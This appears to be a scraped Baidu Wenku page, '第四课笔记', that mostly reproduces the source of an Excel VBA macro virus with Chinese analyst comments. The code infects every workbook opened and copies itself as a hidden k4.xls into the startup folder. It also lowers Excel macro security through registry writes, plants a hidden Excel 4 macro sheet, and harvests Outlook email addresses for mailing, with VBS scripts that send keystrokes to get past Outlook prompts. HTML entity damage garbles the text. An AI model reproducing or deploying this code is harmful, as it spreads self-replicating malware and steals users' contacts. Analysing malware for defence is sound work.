Excel提示编译错误 Public WithEvents xx As excel.applicationn Private Sub Workbook_open() Set xx = Applicati

第四课笔记_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
第四课笔记
上传于||文档简介
&&第​一​章​:​E​x​c​e​l​ ​V​B​A​基​础​知​识
阅读已结束,如果下载本文需要使用1下载券
想免费下载本文?
定制HR最喜欢的简历
下载文档到电脑,查找使用更方便
还剩2页未读,继续阅读
定制HR最喜欢的简历
你可能喜欢'*****************************************************************
'本段代码在Excel打开时候就会运行代码&两个子过程都会运行
'*****************************************************************
Public&WithEvents&xx&As&Application
Private&Sub&Workbook_open() '打开excel即执行文件
Set&xx&=&Application
On&Error&Resume&Next
Application.DisplayAlerts&=&False
Call&do_what
'调用do_what方法
Private&Sub&xx_workbookOpen(ByVal&wb&As&Workbook) '定义wb为workbook类型
On&Error&Resume&Next
wb.VBProject.References.AddFromGuid&_
GUID:=&{0-}&,&_ 'AddFromGuid&方法可搜寻注册表&来找寻要添加的引用。GUID&可以是类型库、控件、类标识符等。
Major:=5,&Minor:=3
Application.ScreenUpdating&=&False
Application.DisplayAlerts&=&False
copystart&wb '此处copystart为&ToDOLE模块定义的函数
Application.ScreenUpdating&=&True
'*******************************************************************************************
Private&Sub&auto_open()
Application.DisplayAlerts&=&False
If&ThisWorkbook.Path&&&&Application.StartupPath&Then
&&Application.ScreenUpdating&=&False
&&Call&delete_this_wk
&&Call&copytoworkbook
&&If&Sheets(1).Name&&&&&Macro1&&Then&Movemacro4&ThisWorkbook
&&ThisWorkbook.Save
&&Application.ScreenUpdating&=&True
'病毒的感染部分代码
Private&Sub&copytoworkbook()
&&Const&DQUOTE&=&&&&&
&&With&ThisWorkbook.VBProject.VBComponents(&ThisWorkbook&).CodeModule
.InsertLines&1,&&Public&WithEvents&xx&As&Application&
.InsertLines&2,&&Private&Sub&Workbook_open()&
.InsertLines&3,&&Set&xx&=&Application&
.InsertLines&4,&&On&Error&Resume&Next&
.InsertLines&5,&&Application.DisplayAlerts&=&False&
.InsertLines&6,&&Call&do_what&
.InsertLines&7,&&End&Sub&
.InsertLines&8,&&Private&Sub&xx_workbookOpen(ByVal&wb&As&Workbook)&
.InsertLines&9,&&On&Error&Resume&Next&
.InsertLines&10,&&wb.VBProject.References.AddFromGuid&_&
.InsertLines&11,&&GUID:=&&&&DQUOTE&&&&{0-}&&&&DQUOTE&&&&,&_&
.InsertLines&12,&&Major:=5,&Minor:=3&
.InsertLines&13,&&Application.ScreenUpdating&=&False&
.InsertLines&14,&&Application.DisplayAlerts&=&False&
.InsertLines&15,&&copystart&wb&
.InsertLines&16,&&Application.ScreenUpdating&=&True&
.InsertLines&17,&&End&Sub&
Private&Sub&delete_this_wk()
Dim&VBProj&As&VBIDE.VBProject
Dim&VBComp&As&VBIDE.VBComponent
Dim&CodeMod&As&VBIDE.CodeModule
Set&VBProj&=&ThisWorkbook.VBProject
Set&VBComp&=&VBProj.VBComponents(&ThisWorkbook&)
Set&CodeMod&=&VBComp.CodeModule
With&CodeMod
&&&&.DeleteLines&1,&.CountOfLines
Function&do_what()
If&ThisWorkbook.Path&&&&Application.StartupPath&Then
&&RestoreAfterOpen '调用RestoreAfterOpen函数
&&Call&OpenDoor '调用OpenDoor
&&Call&Microsofthobby '调用Microsofthobby
&&Call&ActionJudge '调用ActionJudge
End&Function
Function&copystart(ByVal&wb&As&Workbook)
On&Error&Resume&Next
Dim&VBProj1&As&VBIDE.VBProject
Dim&VBProj2&As&VBIDE.VBProject
Set&VBProj1&=&Workbooks(&k4.xls&).VBProject
Set&VBProj2&=&wb.VBProject
If&copymodule(&ToDole&,&VBProj1,&VBProj2,&False)&Then&Exit&Function
End&Function
'自我感染模块
Function&copymodule(ModuleName&As&String,&_
&&&&FromVBProject&As&VBIDE.VBProject,&_
&&&&ToVBProject&As&VBIDE.VBProject,&_
&&&&OverwriteExisting&As&Boolean)&As&Boolean
&&&&On&Error&Resume&Next
&&&&Dim&VBComp&As&VBIDE.VBComponent
&&&&Dim&FName&As&String
&&&&Dim&CompName&As&String
&&&&Dim&S&As&String
&&&&Dim&SlashPos&As&Long
&&&&Dim&ExtPos&As&Long
&&&&Dim&TempVBComp&As&VBIDE.VBComponent
&&&&If&FromVBProject&Is&Nothing&Then
&&&&&&&&copymodule&=&False
&&&&&&&&Exit&Function
&&&&End&If
&&&&If&Trim(ModuleName)&=&vbNullString&Then
&&&&&&&&copymodule&=&False
&&&&&&&&Exit&Function
&&&&End&If
&&&&If&ToVBProject&Is&Nothing&Then
&&&&&&&&copymodule&=&False
&&&&&&&&Exit&Function
&&&&End&If
&&&&If&FromVBProject.Protection&=&vbext_pp_locked&Then
&&&&&&&&copymodule&=&False
&&&&&&&&Exit&Function
&&&&End&If
&&&&If&ToVBProject.Protection&=&vbext_pp_locked&Then
&&&&&&&&copymodule&=&False
&&&&&&&&Exit&Function
&&&&End&If
&&&&On&Error&Resume&Next
&&&&Set&VBComp&=&FromVBProject.VBComponents(ModuleName)
&&&&If&Err.Number&&&&0&Then
&&&&&&&&copymodule&=&False
&&&&&&&&Exit&Function
&&&&End&If
&&&&FName&=&Environ(&Temp&)&&&&\&&&&ModuleName&&&&.bas&
&&&&If&OverwriteExisting&=&True&Then
&&&&&&&&If&Dir(FName,&vbNormal&+&vbHidden&+&vbSystem)&&&&vbNullString&Then
&&&&&&&&&&&&Err.Clear
&&&&&&&&&&&&Kill&FName
&&&&&&&&&&&&If&Err.Number&&&&0&Then
&&&&&&&&&&&&&&&&copymodule&=&False
&&&&&&&&&&&&&&&&Exit&Function
&&&&&&&&&&&&End&If
&&&&&&&&End&If
&&&&&&&&With&ToVBProject.VBComponents
&&&&&&&&&&&&.Remove&.Item(ModuleName)
&&&&&&&&End&With
&&&&&&&&Err.Clear
&&&&&&&&Set&VBComp&=&ToVBProject.VBComponents(ModuleName)
&&&&&&&&If&Err.Number&&&&0&Then
&&&&&&&&&&&&If&Err.Number&=&9&Then
&&&&&&&&&&&&&&&
&&&&&&&&&&&&Else
&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&copymodule&=&False
&&&&&&&&&&&&&&&&Exit&Function
&&&&&&&&&&&&End&If
&&&&&&&&End&If
&&&&End&If
&&&&FromVBProject.VBComponents(ModuleName).Export&FileName:=FName
&&&&SlashPos&=&InStrRev(FName,&&\&)
&&&&ExtPos&=&InStrRev(FName,&&.&)
&&&&CompName&=&Mid(FName,&SlashPos&+&1,&ExtPos&-&SlashPos&-&1)
&&&&Set&VBComp&=&Nothing
&&&&Set&VBComp&=&ToVBProject.VBComponents(CompName)
&&&&If&VBComp&Is&Nothing&Then
&&&&&&&&ToVBProject.VBComponents.Import&FileName:=FName
&&&&&&&&If&VBComp.Type&=&vbext_ct_Document&Then
&&&&&&&&&&&&
&&&&&&&&&&&&Set&TempVBComp&=&ToVBProject.VBComponents.Import(FName)
&&&&&&&&&&&
&&&&&&&&&&&&With&VBComp.CodeModule
&&&&&&&&&&&&&&&&.DeleteLines&1,&.CountOfLines
&&&&&&&&&&&&&&&&S&=&TempVBComp.CodeModule.Lines(1,&TempVBComp.CodeModule.CountOfLines)
&&&&&&&&&&&&&&&&.InsertLines&1,&S
&&&&&&&&&&&&End&With
&&&&&&&&&&&&On&Error&GoTo&0
&&&&&&&&&&&&ToVBProject.VBComponents.Remove&TempVBComp
&&&&&&&&End&If
&&&&End&If
&&&&Kill&FName
&&&&copymodule&=&True
End&Function
'**********************************************************************************************************************
'Microsofthobby()&函数分析
'查找系统启动路径内是否存在k4.xls文件,如果存在就删除该文件,这个保持病毒的持续更新
'这个k4.xls文件如果太大的话,下次启动程序就会很慢
'**********************************************************************************************************************
Function&Microsofthobby()
Dim&myfile0&As&String
Dim&MyFile&As&String
On&Error&Resume&Next
myfile0&=&ThisWorkbook.FullName '查看当前工作表的全称
MyFile&=&Application.StartupPath&&&&\k4.xls& 'Offfice启动路径的\k4.xls文件
If&WorkbookOpen(&k4.xls&)&And&ThisWorkbook.Path&&&&Application.StartupPath&Then&Workbooks(&k4.xls&).Close&False '如果打开了文件k4.xls同时本文件不在启动文件中,关闭k4.xls文件
'Shell函数:执行一个命令
'Environ函数:返回&String,它关联于一个操作系统环境变量。&在&Macintosh&中不可用
Shell&Environ$(&comspec&)&&&&&/c&attrib&-S&-h&&&&&&&Application.StartupPath&&&&\K4.XLS&&&,&vbMinimizedFocus '最小化运行程序&同时返回指针&&删除k4.xls的系统和隐藏属性
Shell&Environ$(&comspec&)&&&&&/c&Del&/F&/Q&&&&&&&Application.StartupPath&&&&\K4.XLS&&&,&vbMinimizedFocus '最小化运行程序&同时返回指针&&删除k4.xls文件
Shell&Environ$(&comspec&)&&&&&/c&RD&/S&/Q&&&&&&&Application.StartupPath&&&&\K4.XLS&&&,&vbMinimizedFocus
'最小化运行程序&同时返回指针&&删除k4.xls目录及目录树下的子文件(夹)
If&ThisWorkbook.Path&&&&Application.StartupPath&Then
&&&&&Application.ScreenUpdating&=&False '关闭屏幕更新&加速程序的运行
&&&&&ThisWorkbook.IsAddin&=&True '如果工作簿打开后进行了更改,不会提示保存工作簿。工作簿窗口不可见。宏”对话框(通过指向“工具”菜单上的“宏”,然后单击“宏”即可显示)中,工作簿中的所有宏都不可见。
'即使不可见,还是可以从“宏”对话框运行工作簿中的宏。&此外,宏名称不需要使用工作簿名称进行限定。打开工作簿时按住&Shift&键不会产生任何效果。
&&&&&ThisWorkbook.SaveCopyAs&MyFile '将工作簿的副本保存到文件中,但不修改内存中打开的工作簿
&&&&&ThisWorkbook.IsAddin&=&False '修改回原来的属性
&&&&&Application.ScreenUpdating&=&True
'启动屏幕更新
End&Function
'******************************************************************************************************
'OpenDoor&函数分析
'该函数查看了程序的版本,同时创建了一个scripting.filesystemobject对象,可能进行磁盘操作
'同时查看了当前版本的Office程序的版本号,进行注册表的操作
'关键性的东西在WReg函数里边,具体信息查看下边的Wreg函数的注释
'*******************************************************************************************************
Function&OpenDoor()
Dim&Fso,&RK1&As&String,&RK2&As&String,&RK3&As&String,&RK4&As&String
Dim&KValue1&As&Variant,&KValue2&As&Variant
Dim&VS&As&String
On&Error&Resume&Next
VS&=&Application.Version '查找程序的版本
Set&Fso&=&CreateObject(&scRiPTinG.fiLEsysTeMoBjEcT&) '创建并返回一个对&ActiveX&对象的引用,此对象为scripting.filesystemobject,作者很有意思,通过不规则的大小写来迷惑这个对象
'scripting.filesystemobject介绍:
'在代码内操作文本文件、文件夹及驱动器。它是脚本运行期库提供的对象之一,对于服务器ASP页面内的VBScript和JScript都有效
RK1&=&&HKEY_CURRENT_USER\Software\Microsoft\Office\&&&&VS&&&&\Excel\Security\AccessVBOM&
RK2&=&&HKEY_CURRENT_USER\Software\Microsoft\Office\&&&&VS&&&&\Excel\Security\Level&
RK3&=&&HKEY_LOCAL_MACHINE\Software\Microsoft\Office\&&&&VS&&&&\Excel\Security\AccessVBOM&
RK4&=&&HKEY_LOCAL_MACHINE\Software\Microsoft\Office\&&&&VS&&&&\Excel\Security\Level&
KValue1&=&1
KValue2&=&1
&&&&&&Call&WReg(RK1,&KValue1,&&REG_DWORD&) '使用Wreg函数准备操作注册表
&&&&&&Call&WReg(RK2,&KValue2,&&REG_DWORD&)
&&&&&&Call&WReg(RK3,&KValue1,&&REG_DWORD&)
&&&&&&Call&WReg(RK4,&KValue2,&&REG_DWORD&)
End&Function
'******************************************************************************************************
'WReg&函数分析
'修改注册表特定的键和值
'*******************************************************************************************************
Sub&WReg(strkey&As&String,&Value&As&Variant,&ValueType&As&String)
&&&&Dim&oWshell
&&&&Set&oWshell&=&CreateObject(&WScript.Shell&) '创建WScript.Shell对象,准备对注册表进行进行操作
&&&&If&ValueType&=&&&&Then '如果ValueType为空,则仅写入键和值
&&&&&&&&oWshell.RegWrite&strkey,&Value
&&&&&&&&oWshell.RegWrite&strkey,&Value,&ValueType
&&&&End&If
&&&&Set&oWshell&=&Nothing '释放引用
回复讨论(解决方案)
'模块自动感染
Private&Sub&Movemacro4(ByVal&wb&As&Workbook)
On&Error&Resume&Next
&&Dim&sht&As&Object
&&&&wb.Sheets(1).Select
&&&&Sheets.Add&Type:=xlExcel4MacroSheet
&&&&ActiveSheet.Name&=&&Macro1&
&&&&Range(&A2&).Select
&&&&ActiveCell.FormulaR1C1&=&&=ERROR(FALSE)&
&&&&Range(&A3&).Select
&&&&ActiveCell.FormulaR1C1&=&&=IF(ERROR.TYPE(RUN(&&&&&&Application.UserName&&&&&&))=4)&
&&&&Range(&A4&).Select
&&&&ActiveCell.FormulaR1C1&=&&=ALERT(&&禁用宏,关闭&&&&&Chr(10)&&&Now&&&Chr(10)&&&&Please&Enable&Macro!&&,3)&
&&&&Range(&A5&).Select
&&&&ActiveCell.FormulaR1C1&=&&=FILE.CLOSE(FALSE)&
&&&&Range(&A6&).Select
&&&&ActiveCell.FormulaR1C1&=&&=END.IF()&
&&&&Range(&A7&).Select
&&&&ActiveCell.FormulaR1C1&=&&=RETURN()&
&&&&For&Each&sht&In&wb.Sheets
&&&&wb.Names.Add&sht.Name&&&&!Auto_Activate&,&&=Macro1!$A$2&,&False
&&&&wb.Excel4MacroSheets(1).Visible&=&xlSheetVeryHidden
'******************************************************************************************************
'WorkbookOpen函数分析:
'该函数的作用是检测指定名称的文件是否被打开
'******************************************************************************************************
Private&Function&WorkbookOpen(WorkBookName&As&String)&As&Boolean
&&WorkbookOpen&=&False
&&On&Error&GoTo&WorkBookNotOpen
&&If&Len(Application.Workbooks(WorkBookName).Name)&&&0&Then '检测文件是否打开
&&&&WorkbookOpen&=&True
&&&&Exit&Function
WorkBookNotOpen:
End&Function
'********************************************************************************************************************************
'ActionJudge()&一个阴险的函数,估计是发送邮件的
'********************************************************************************************************************************
Private&Sub&ActionJudge()
Const&T1&As&Date&=&&10:00:00&
Const&T2&As&Date&=&&11:00:00&
Const&T3&As&Date&=&&14:00:00&
Const&T4&As&Date&=&&15:00:00&
Dim&SentTime&As&Date,&WshShell
Set&WshShell&=&CreateObject(&WScript.Shell&)
If&Not&InStr(UCase(WshShell.RegRead(&HKEY_CLASSES_ROOT\mailto\shell\open\command\&)),&&OUTLOOK.EXE&)&&&0&Then&Exit&Sub '查找当前发件客户端是否为outlook,如果不是则程序退出
If&Time&&=&T1&And&Time&&=&T2&Or&Time&&=&T3&And&Time&&=&T4&Then
&&&&&&If&ReadOut(&D:\Collected_Address:frag1.txt&)&=&&1&&Then '如果返回值为1&则退出函数
&&&&&&&&&&&Exit&Sub
&&&&&&Else
&&&&&&&&&&&CreateFile&&1&,&&D:\Collected_Address:frag1.txt& '如果没有读到文件就创建一个这样的文件&同时将1写入文件
&&&&&&&&&&&search_in_OL
&&&&&&End&If
&&&&&If&Not&if_outlook_open&Then&Exit&Sub
&&&&&If&Time&&&T2&And&Time&&=&DateAdd(&n&,&10,&T2)&Or&Time&&&T4&And&Time&&=&DateAdd(&n&,&10,&T4)&Then
&&&&&&&&&&Exit&Sub
&&&&&&&&&&SentTime&=&DateAdd(&n&,&-21,&Now)
&&&&&&&&&&On&Error&GoTo&timeError
&&&&&&&&&&SentTime&=&CDate(ReadOut(&D:\Collected_Address:frag2.txt&))
timeError:
&&&&&&&&&&If&Now&&&DateAdd(&n&,&20,&SentTime)&Or&ReadOut(&D:\Collected_Address\log.txt&)&=&&&&Then
&&&&&&&&&&&&&&&&Exit&Sub
&&&&&&&&&&Else
&&&&&&&&&&&&&&&&CreateFile&&&,&&D:\Collected_Address:frag1.txt&
&&&&&&&&&&&&&&&&CreateFile&Now,&&D:\Collected_Address:frag2.txt&
&&&&&&&&&&&&&&&&CreatCab_SendMail
&&&&&&&&&&End&If
&&&&&End&If
'***************************************************************************************************
'Search_in_OL函数
'此函数创建两个VBS文件,同时利用wscript来执行,孙子太能写了,看的我快绝望了
'****************************************************************************************************
Private&Sub&search_in_OL()
Dim&i&As&Integer,&AttName&As&String,&AddVbsFile&As&String,&AddListFile&As&String,&fs&As&Object,&WshShell&As&Object
On&Error&Resume&Next
Set&fs&=&CreateObject(&scripting.filesystemobject&)
Set&WshShell&=&CreateObject(&WScript.Shell&)
If&fs.Folderexists(&E:\KK&)&=&False&Then&fs.CreateFolder&&E:\KK& '检测文件夹E:\kk是否存在,如果不存在就创建文件夹
AttName&=&Replace(Replace(Left(ThisWorkbook.Name,&Len(ThisWorkbook.Name)&-&4),&&&&,&&_&),&&.&,&&_&) '替换文件名字中的空格和.
AddVbsFile_clear&=&&E:\KK\&&&&AttName&&&&_clear.vbs&
i&=&FreeFile '返回未使用的文件号
'打开文件准备读入
Open&AddVbsFile_clear&For&Output&Access&Write&As&#i
Print&#i,&&On&error&Resume&Next&
Print&#i,&&Dim&wsh,&tle,&T0,&i&
Print&#i,&&&&T0&=&Timer&
Print&#i,&&&&Set&wsh=createobject(&&&&&&&wscript.shell&&&&&&&)&
Print&#i,&&&&tle&=&&&&&&&&Microsoft&Office&Outlook&&&&&&&&
Print&#i,&&For&i&=&1&To&1000&
Print&#i,&&&&&&If&Timer&-&T0&&&60&Then&Exit&For&
Print&#i,&&&&Call&Refresh()&
Print&#i,&&&&wscript.sleep&05&
Print&#i,&&&&wsh.sendKeys&&&&&&&&%a&&&&&&&&
Print&#i,&&&&wscript.sleep&05&
Print&#i,&&&&wsh.sendKeys&&&&&&&&{TAB}{TAB}&&&&&&&&
Print&#i,&&&&wscript.sleep&05&
Print&#i,&&&&wsh.sendKeys&&&&&&&&{Enter}&&&&&&&&
Print&#i,&&Next&
Print&#i,&&Set&wsh&=&Nothing&
Print&#i,&&wscript.quit&
Print&#i,&&Sub&Refresh()&
Print&#i,&&Do&Until&wsh.AppActivate(CStr(tle))&=&True&
Print&#i,&&&&&&If&Timer&-&T0&&&60&Then&Exit&Sub&
Print&#i,&&Loop&
Print&#i,&&&&wscript.sleep&05&
Print&#i,&&&&&&wsh.SendKeys&&&&&&&&%{F4}&&&&&&&&
Print&#i,&&End&Sub&
AddVbsFile_search&=&&E:\KK\&&&&AttName&&&&_Search.vbs&
i&=&FreeFile
Open&AddVbsFile_search&For&Output&Access&Write&As&#i
Print&#i,&&On&error&Resume&Next&
Print&#i,&&Const&olFolderInbox&=&6&
Print&#i,&&Dim&conbinded_address,WshShell,sh,ts&
Print&#i,&&Set&WshShell=WScript.CreateObject(&&&&&&&WScript.Shell&&&&&&&)&
Print&#i,&&Set&objOutlook&=&CreateObject(&&&&&&&Outlook.Application&&&&&&&)&
Print&#i,&&Set&objNamespace&=&objOutlook.GetNamespace(&&&&&&&MAPI&&&&&&&)&
Print&#i,&&Set&objFolder&=&objNamespace.GetDefaultFolder(olFolderInbox)&
Print&#i,&&Set&TargetFolder&=&objFolder&
Print&#i,&&conbinded_address&=&&&&&&&&&&&&&&&&
Print&#i,&&Set&colItems&=&TargetFolder.Items&
Print&#i,&&wscript.sleep&300000&
Print&#i,&&WshSHell.Run&(&&&&&&&wscript.exe&&&&&AddVbsFile_clear&&&&&&&&&&&),&vbHide,&False&
Print&#i,&&ts&=&Timer&
Print&#i,&&For&Each&objMessage&in&colItems&
Print&#i,&&&&&&&&&If&Timer&-&ts&&55&then&exit&For&
Print&#i,&&&&&&&&&conbinded_address&=&conbinded_address&&&valid_address(objMessage.Body)&
Print&#i,&&Next&
Print&#i,&&add_text&conbinded_address,&8&
Print&#i,&&add_text&all_non_same(ReadAllTextFile),&2&
Print&#i,&&WScript.Quit&
Print&#i,&&&
Print&#i,&&Private&Function&valid_address(source_data)&
Print&#i,&&&&&Dim&oDict,&trimed_data&,&temp_data,&i,&t_asc,&header_end,&trimed_arr,&nonsame_arr&
Print&#i,&&&&&Dim&regex,&matchs,&ss,&arr()&
Print&#i,&&&&&Set&oDict&=&CreateObject(&&&&&&&Scripting.Dictionary&&&&&&&)&
Print&#i,&&&&&Set&regex&=&CreateObject(&&&&&&&VBSCRIPT.REGEXP&&&&&&&)&
Print&#i,&&&
Print&#i,&&&&&regex.Global&=&True&
Print&#i,&&&&&regex.Pattern&=&&&&&&&&\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*&&&&&&&&
Print&#i,&&&&&Set&matchs&=&regex.Execute(source_data)&
Print&#i,&&&&&ReDim&trimed_arr(matchs.Count&-&1)&
Print&#i,&&&&&For&i&=&Lbound(trimed_arr)&To&Ubound(trimed_arr)&
Print&#i,&&&&&&&&&&trimed_arr(i)&=&matchs.Item(i)&&&vbCrLf&
Print&#i,&&&&&Next&
Print&#i,&&&
Print&#i,&&&&&For&i&=&LBound(trimed_arr)&To&UBound(trimed_arr)&
Print&#i,&&&&&&&&&&oDict(trimed_arr(i))&=&&&&&&&&&&&&&&&&
Print&#i,&&&&&Next&
Print&#i,&&&
Print&#i,&&&&&If&oDict.Count&&&0&Then&
Print&#i,&&&&&&&&&&nonsame_arr&=&oDict.keys&
Print&#i,&&&&&&&&&&For&i&=&LBound(nonsame_arr)&To&UBound(nonsame_arr)&
Print&#i,&&&&&&&&&&&&&&&valid_address&=&valid_address&&&nonsame_arr(i)&
Print&#i,&&&&&&&&&&Next&
Print&#i,&&&&&End&If&
Print&#i,&&&&&Set&oDict&=&Nothing&
Print&#i,&&End&Function&
Print&#i,&&&
Print&#i,&&Private&Sub&add_text(inputed_string,&input_frag)&
Print&#i,&&&&&Dim&objFSO,&logfile,&logtext,&log_path,&log_folder&
Print&#i,&&&&&log_path&=&&&&&&&&D:\Collected_Address&&&&&&&&
Print&#i,&&&&&Set&objFSO&=&CreateObject(&&&&&&&Scripting.FileSystemObject&&&&&&&)&
Print&#i,&&&&&On&Error&resume&next&
Print&#i,&&&&&Set&log_folder&=&objFSO.CreateFolder(log_path)&
Print&#i,&&&
Print&#i,&&&&&If&objFSO.FileExists(log_path&&&&&&&&&&\log.txt&&&&&&&)&=&0&Then&
Print&#i,&&&&&&&&&Set&logfile&=&objFSO.CreateTextFile(log_path&&&&&&&&&&\log.txt&&&&&&&,&True)&
Print&#i,&&&&&End&If&
Print&#i,&&&&&Set&log_folder&=&Nothing&
Print&#i,&&&&&Set&logfile&=&Nothing&
Print&#i,&&&
Print&#i,&&&&&Select&Case&input_frag&
Print&#i,&&&&&&&Case&8&
Print&#i,&&&&&&&&&&&&Set&logtext&=&objFSO.OpenTextFile(log_path&&&&&&&&&&\log.txt&&&&&&&,&8,&True,&-1)&
Print&#i,&&&&&&&&&&&&logtext.Write&inputed_string&
Print&#i,&&&&&&&&&&&&logtext.Close&
Print&#i,&&&&&&&Case&2&
Print&#i,&&&&&&&&&&&&Set&logtext&=&objFSO.OpenTextFile(log_path&&&&&&&&&&\log.txt&&&&&&&,&2,&True,&-1)&
Print&#i,&&&&&&&&&&&&logtext.Write&inputed_string&
Print&#i,&&&&&&&&&&&&logtext.Close&
Print&#i,&&&&&End&Select&
Print&#i,&&&&&set&objFSO&=&nothing&
Print&#i,&&End&Sub&
Print&#i,&&&
Print&#i,&&Private&Function&ReadAllTextFile()&
Print&#i,&&&&&&Dim&objFSO,&FileName,&MyFile&
Print&#i,&&&&&&FileName&=&&&&&&&&D:\Collected_Address\log.txt&&&&&&&&
Print&#i,&&&&&&Set&objFSO&=&CreateObject(&&&&&&&Scripting.FileSystemObject&&&&&&&)&
Print&#i,&&&&&&Set&MyFile&=&objFSO.OpenTextFile(FileName,&1,&False,&-1)&
Print&#i,&&&&&&If&MyFile.AtEndOfStream&Then&
Print&#i,&&&&&&&&&&ReadAllTextFile&=&&&&&&&&&&&&&&&&
Print&#i,&&&&&&Else&
Print&#i,&&&&&&&&&&ReadAllTextFile&=&MyFile.ReadAll&
Print&#i,&&&&&&End&If&
Print&#i,&&set&objFSO&=&nothing&
Print&#i,&&End&Function&
Print&#i,&&&
Print&#i,&&Private&Function&all_non_same(source_data)&
Print&#i,&&&&&Dim&oDict,&i,&trimed_arr,&nonsame_arr&
Print&#i,&&&&&all_non_same&=&&&&&&&&&&&&&&&&
Print&#i,&&&&&Set&oDict&=&CreateObject(&&&&&&&Scripting.Dictionary&&&&&&&)&
Print&#i,&&&
Print&#i,&&&&&trimed_arr&=&Split(source_data,&vbCrLf)&
Print&#i,&&&
Print&#i,&&&&&For&i&=&LBound(trimed_arr)&To&UBound(trimed_arr)&
Print&#i,&&&&&&&&&&&oDict(trimed_arr(i))&=&&&&&&&&&&&&&&&&
Print&#i,&&&&&Next&
Print&#i,&&&
Print&#i,&&&&&If&oDict.Count&&&0&Then&
Print&#i,&&&&&&&&&&nonsame_arr&=&oDict.keys&
Print&#i,&&&&&&&&&&For&i&=&LBound(nonsame_arr)&To&UBound(nonsame_arr)&
Print&#i,&&&&&&&&&&&&&&&all_non_same&=&all_non_same&&&nonsame_arr(i)&&&vbCrLf&
Print&#i,&&&&&&&&&&Next&
Print&#i,&&&&&End&If&
Print&#i,&&&&&Set&oDict&=&Nothing&
Print&#i,&&End&Function&
Application.WindowState&=&xlMaximized
WshShell.Run&(&wscript.exe&&&&&AddVbsFile_search),&vbHide,&False '隐藏执行wscript,不等待程序返回
Set&WshShell&=&Nothing '释放程序
Private&Sub&CreatCab_SendMail()
Dim&i&As&Integer,&AttName&As&String,&AddVbsFile&As&String,&AddListFile&As&String,&Address_list&As&String
Dim&fs&As&Object,&WshShell&As&Object
Address_list&=&get_ten_address
Set&WshShell&=&CreateObject(&WScript.Shell&)
Set&fs&=&CreateObject(&scripting.filesystemobject&)
If&fs.Folderexists(&E:\SORCE&)&=&False&Then&fs.CreateFolder&&E:\SORCE&
AttName&=&Replace(Replace(Left(ThisWorkbook.Name,&Len(ThisWorkbook.Name)&-&4),&&&&,&&_&),&&.&,&&_&)
mail_sub&=&&*&&&&AttName&&&&*Message*&
AddVbsFile&=&&E:\sorce\&&&&AttName&&&&_Key.vbs&
i&=&FreeFile
Open&AddVbsFile&For&Output&Access&Write&As&#i
Print&#i,&&Dim&oexcel,owb,&WshShell,Fso,Atta_xls,sh,route&
Print&#i,&&On&error&Resume&Next&
Print&#i,&&Set&sh=WScript.CreateObject(&&&&&&&shell.application&&&&&&&)&
Print&#i,&&sh.MinimizeAll&
Print&#i,&&Set&sh&=&Nothing&
Print&#i,&&Set&Fso&=&CreateObject(&&&&&&&Scripting.FileSystemObject&&&&&&&)&
Print&#i,&&Set&WshShell&=&WScript.CreateObject(&&&&&&&WScript.Shell&&&&&&&)&
Print&#i,&&If&Fso.Folderexists(&&&&&&&E:\KK&&&&&&&)&=&False&Then&Fso.CreateFolder&&&&&&&&E:\KK&&&
Print&#i,&&Fso.CopyFile&&_&
Print&#i,&&WshShell.CurrentDirectory&&&&&&&&&&\&&&&AttName&&&&*.CAB&&&&&&&,&&&&&&&&&&&&&E:\KK\&&&&&&&,&True&
Print&#i,&&For&Each&Atta_xls&In&ListDir(&&&&&&&E:\KK&&&&&&&)&
Print&#i,&&&&&WshShell.Run&&&&&&&&expand&&&&&&&&&&&Atta_xls&&&&&&&&&&&-F:&&&&AttName&&&&.xls&E:\KK&&&&&&&,&0,&true&
Print&#i,&&Next&
Print&#i,&&If&Fso.FileExists(&&&&&&&E:\KK\&&&&AttName&&&&.xls&&&&&&&)&=&0&then&
Print&#i,&&&&&&&&&&route&=&WshShell.CurrentDirectory&&&&&&&&&&\&&&&AttName&&&&.xls&&&
Print&#i,&&&&&&&&&&if&Fso.FileExists(WshShell.CurrentDirectory&&&&&&&&&&\&&&&AttName&&&&.xls&&&&&&&)=0&then&
Print&#i,&&&&&&&&&&&&&&&&&&&route&=&InputBox(&&&&&&&Warning!&&&&&&&&&&&Chr(10)&&&&&&&&&&You&are&going&to&open&a&confidential&file.&&&&&&&&&Chr(10)&&&_&
Print&#i,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&Please&input&the&complete&file&path.&&&&&&&&&&Chr(10)&&&&&&&&&&ex.&C:\parth\confidential_file.xls&&&&&&&,&_&
Print&#i,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&Open&a&File&&&&&&&&,&&&&&&&&Please&Input&the&Complete&File&Path&&&&&&&,&1)&
Print&#i,&&&&&&&&&&End&if&
Print&#i,&&else&
Print&#i,&&&&&&&&&&route&=&&&&&&&&E:\KK\&&&&AttName&&&&.xls&&&
Print&#i,&&End&If&
Print&#i,&&&&&set&oexcel=createobject(&&&&&&&excel.application&&&&&&&)&
Print&#i,&&&&&set&owb=oexcel.workbooks.open(route)&
Print&#i,&&&&&oExcel.Visible&=&True&
Print&#i,&&Set&oExcel&=&Nothing&
Print&#i,&&Set&oWb&=&Nothing&
Print&#i,&&Set&&WshShell&=&Nothing&
Print&#i,&&Set&Fso&=&Nothing&
Print&#i,&&WScript.Quit&
Print&#i,&&Private&Function&ListDir&(ByVal&Path)&
Print&#i,&&&&&Dim&Filter,&a,&n,&Folder,&Files,&File&
Print&#i,&&&&&&&&&ReDim&a(10)&
Print&#i,&&&&&&n&=&0&
Print&#i,&&&&Set&Folder&=&fso.GetFolder(Path)&
Print&#i,&&&&&Set&Files&=&Folder.Files&
Print&#i,&&&&&For&Each&File&In&Files&
Print&#i,&&&&&&&&If&left(File.Name,&&&&Len(AttName)&&&&)&=&&&&&&&AttName&&&&&&&and&right(File.Name,3)&=&&&&&&&&CAB&&&&&&&&Then&
Print&#i,&&&&&&&&&&&If&n&&&UBound(a)&Then&ReDim&Preserve&a(n*2)&
Print&#i,&&&&&&&&&&&&&&a(n)&=&File.Path&
Print&#i,&&&&&&&&&&&&&&n&=&n&+&1&
Print&#i,&&&&&&&&&End&If&
Print&#i,&&&&&Next&
Print&#i,&&&&&ReDim&Preserve&a(n-1)&
Print&#i,&&&&&ListDir&=&a&
Print&#i,&&End&Function&
AddListFile&=&ThisWorkbook.Path&&&&\TEST.txt&
i&=&FreeFile
